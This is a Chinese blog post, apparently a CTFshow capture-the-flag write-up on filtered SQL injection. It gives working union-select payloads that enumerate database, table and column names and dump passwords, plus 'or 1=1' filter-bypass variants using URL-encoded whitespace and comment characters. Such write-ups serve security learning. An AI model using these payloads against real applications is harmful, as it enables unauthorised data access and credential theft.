SQL注入-有过滤注入

SQL无过滤注入CTFshow176-182

过滤位置

alt text
这里过滤的不是整条语句的内容,而是由用户传入的参数部分

回顾-基本查找流程

Union Select字段个数->库名->表名->列名->查找
字段个数枚举找出或使用order by
库名,列名,表名是在information_schema中找
目标数据是在目标库中找
注意这里的group_concat操作,以及语句的嵌套,无新意,提高一点点查找效率

1
2
3
4
5
6
7
1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+

-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 %23

-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+

题目顺序总结

  • 大写过滤
  • 空格过滤
  • /**/过滤
  • %0a过滤
  • %0b过滤
  • %09过滤
  • %23过滤
  • %0c过滤
  • %0e过滤

绕过方法

通解:围绕万能密码:’or 1=1+注释符 的各种变体展开
‘or(1=1)–%0c
‘or’1’=’1’–%0c
两种基本通用。

绕过思路

关于注释符

–注释

定义:在SQL语言中,使用“–”符号开始的行内注释。
特点:
注释内容从“–”开始到行尾结束。
需要在“–”后紧跟一个空格或制表符等。

#注释

定义:使用#符号开始的单行注释。
特点:
后面的所有内容直到行尾都被视为注释。

关于url编码

SQL注入过程是会经过URL编码的,****因此,#注释和–注释的注入方法是有区别的,
区别在于#需要经过url编码为%23,**–注释后边紧跟的字符也需要经过url编码。**

关于优先级

表格省,划重点-AND > OR


SQL注入-有过滤注入
https://43.242.201.154/2024/09/03/sqlinjection2/
Author
Dong
Posted on
September 3, 2024
Licensed under